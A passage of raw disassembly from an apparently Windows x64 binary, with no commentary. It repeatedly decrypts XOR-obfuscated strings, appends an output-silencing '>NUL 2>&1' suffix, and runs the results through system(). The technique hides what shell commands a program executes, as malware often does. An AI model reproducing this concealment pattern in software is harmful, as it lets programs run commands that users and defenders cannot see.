xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fbb0
cmp r8d, 0x2d
jge 0x14003fce3
movsxd rax, r8d
lea r9, [rbp + 0xed0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003fcb0
mov r8, r10
lea rdx, [rbp + 0xed0]
lea rcx, [rbp + 0x2040]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2020]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2000]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1fe0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1fe0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2000]
call fcn.140058900
nop
lea rcx, [rbp + 0x2020]
call fcn.140058900
nop
lea rcx, [rbp + 0x2040]
call fcn.140058900
nop
lea rcx, [rbp + 0x2060]
call fcn.140058900
nop
lea rcx, [rbp + 0x2080]
call fcn.140058900
lea rcx, [rbp + 0x2140]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2120]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400de238]
movups xmmword [rbp + 0xea0], xmm0
movups xmm1, xmmword [0x1400de248]
movups xmmword [rbp + 0xeb0], xmm1
movsd xmm0, qword [0x1400de258]
movsd qword [rbp + 0xec0], xmm0
mov ecx, dword [str.A1YDe]
mov dword [rbp + 0xec8], ecx
movzx eax, byte [0x1400de264]
mov byte [rbp + 0xecc], al
mov r8d, edi
cmp esi, 2
jl 0x14003ff13
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xea4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fe20
cmp r8d, 0x2d
jge 0x14003ff53
movsxd rax, r8d
lea r9, [rbp + 0xea0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003ff20
mov r8, r10
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0x2100]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x20e0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x20c0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x20a0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x20a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x20c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x20e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2100]
call fcn.140058900
nop
lea rcx, [rbp + 0x2120]
call fcn.140058900
nop
lea rcx, [rbp + 0x2140]
call fcn.140058900
lea rcx, [rbp + 0x2200]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x21e0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400deaf0]
movups xmmword [rbp + 0xe70], xmm0
movups xmm1, xmmword [0x1400deb00]
movups xmmword [rbp + 0xe80], xmm1
movsd xmm0, qword [0x1400deb10]
movsd qword [rbp + 0xe90], xmm0
mov ecx, dword [str.A6YDe]
mov dword [rbp + 0xe98], ecx
movzx eax, byte [0x1400deb1c]
mov byte [rbp + 0xe9c], al
mov r8d, edi
cmp esi, 2
jl 0x140040183
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040090
cmp r8d, 0x2d
jge 0x1400401c3
movsxd rax, r8d
lea r9, [rbp + 0xe70]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040190
mov r8, r10
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0x21c0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x21a0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2180]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2160]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2160]
call fcn.140058900
nop
lea rcx, [rbp + 0x2180]
call fcn.140058900
nop
lea rcx, [rbp + 0x21a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x21c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x21e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2200]
call fcn.140058900
lea rcx, [rbp + 0x2a40]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x22a0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dde58]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x1400dde68]
movups xmmword [rbp + 0xe50], xmm1
movsd xmm0, qword [0x1400dde78]
movsd qword [rbp + 0xe60], xmm0
mov ecx, dword [str.A7YDe]
mov dword [rbp + 0xe68], ecx
movzx eax, byte [0x1400dde84]
mov byte [rbp + 0xe6c], al
mov r8d, edi
cmp esi, 2
jl 0x1400403f3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040300
cmp r8d, 0x2d
jge 0x140040433
movsxd rax, r8d
lea r9, [rbp + 0xe40]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040400
mov r8, r10
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x2280]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2260]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2240]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2220]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2220]
call fcn.140058900
nop
lea rcx, [rbp + 0x2240]
call fcn.140058900
nop
lea rcx, [rbp + 0x2260]
call fcn.140058900
nop
lea rcx, [rbp + 0x2280]
call fcn.140058900
nop
lea rcx, [rbp + 0x22a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2a40]
call fcn.140058900
lea rcx, [rbp + 0x2380]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2360]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dea90]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x1400deaa0]
movups xmmword [rbp + 0xdf0], xmm1
movsd xmm0, qword [0x1400deab0]
movsd qword [rbp + 0xe00], xmm0
mov ecx, dword [str.A4YDe]
mov dword [rbp + 0xe08], ecx
movzx eax, byte [0x1400deabc]
mov byte [rbp + 0xe0c], al
mov r8d, edi
cmp esi, 2
jl 0x140040663
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xde4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040570
cmp r8d, 0x2d
jge 0x1400406a3
movsxd rax, r8d
lea r9, [rbp + 0xde0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040670
mov r8, r10
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x2340]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2320]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2300]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x22e0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2300]
call fcn.140058900
nop
lea rcx, [rbp + 0x2320]
call fcn.140058900
nop
lea rcx, [rbp + 0x2340]
call fcn.140058900
nop
lea rcx, [rbp + 0x2360]
call fcn.140058900
nop
lea rcx, [rbp + 0x2380]
call fcn.140058900
lea rcx, [rbp + 0x2440]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2420]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400de920]
movups xmmword [rbp + 0xf30], xmm0
movups xmm1, xmmword [0x1400de930]
movups xmmword [rbp + 0xf40], xmm1
movsd xmm0, qword [0x1400de940]
movsd qword [rbp + 0xf50], xmm0
mov ecx, dword [str.A5YDe]
mov dword [rbp + 0xf58], ecx
movzx eax, byte [0x1400de94c]
mov byte [rbp + 0xf5c], al
mov r8d, edi
cmp esi, 2
jl 0x1400408d3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf34]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400407e0
cmp r8d, 0x2d
jge 0x140040913
movsxd rax, r8d
lea r9, [rbp + 0xf30]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400408e0
mov r8, r10
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x2400]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x23e0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x23c0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x23a0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x23a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x23c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x23e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2400]
call fcn.140058900
nop
lea rcx, [rbp + 0x2420]
call fcn.140058900
nop
lea rcx, [rbp + 0x2440]
call fcn.140058900
lea rcx, [rbp + 0x2500]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x24e0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dfca0]
movups xmmword [rbp + 0xd50], xmm0
movups xmm1, xmmword [0x1400dfcb0]
movups xmmword [rbp + 0xd60], xmm1
movsd xmm0, qword [0x1400dfcc0]
movsd qword [rbp + 0xd70], xmm0
mov ecx, dword [str.A:YDe]
mov dword [rbp + 0xd78], ecx
movzx eax, byte [0x1400dfccc]
mov byte [rbp + 0xd7c], al
mov r8d, edi
cmp esi, 2
jl 0x140040b43
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040a50
cmp r8d, 0x2d
jge 0x140040b83
movsxd rax, r8d
lea r9, [rbp + 0xd50]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040b50
mov r8, r10
lea rdx, [rbp + 0xd50]
lea rcx, [rbp + 0x24c0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x24a0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2480]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2460]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2460]
call fcn.140058900
nop
lea rcx, [rbp + 0x2480]
call fcn.140058900
nop
lea rcx, [rbp + 0x24a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x24c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x24e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2500]
call fcn.140058900
lea rcx, [rbp + 0x25c0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x25a0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df978]
movups xmmword [rbp + 0xd80], xmm0
movups xmm1, xmmword [0x1400df988]
movups xmmword [rbp + 0xd90], xmm1
movsd xmm0, qword [0x1400df998]
movsd qword [rbp + 0xda0], xmm0
mov ecx, dword [0x1400df9a0]
mov dword [rbp + 0xda8], ecx
movzx eax, byte [0x1400df9a4]
mov byte [rbp + 0xdac], al
mov r8d, edi
cmp esi, 2
jl 0x140040db3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd84]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040cc0
cmp r8d, 0x2d
jge 0x140040df3
movsxd rax, r8d
lea r9, [rbp + 0xd80]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040dc0
mov r8, r10
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x2580]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2560]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2540]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2520]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2520]
call fcn.140058900
nop
lea rcx, [rbp + 0x2540]
call fcn.140058900
nop
lea rcx, [rbp + 0x2560]
call fcn.140058900
nop
lea rcx, [rbp + 0x2580]
call fcn.140058900
nop
lea rcx, [rbp + 0x25a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x25c0]
call fcn.140058900
lea rcx, [rbp + 0x2680]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2660]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df940]
movups xmmword [rbp + 0xdb0], xmm0
movups xmm1, xmmword [0x1400df950]
movups xmmword [rbp + 0xdc0], xmm1
movsd xmm0, qword [0x1400df960]
movsd qword [rbp + 0xdd0], xmm0
mov ecx, dword [str.A8YDe]
mov dword [rbp + 0xdd8], ecx
movzx eax, byte [0x1400df96c]
mov byte [rbp + 0xddc], al
mov r8d, edi
cmp esi, 2
jl 0x140041023
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xdb4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040f30
cmp r8d, 0x2d
jge 0x140041063
movsxd rax, r8d
lea r9, [rbp + 0xdb0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140041030
mov r8, r10
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x2640]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2620]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2600]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
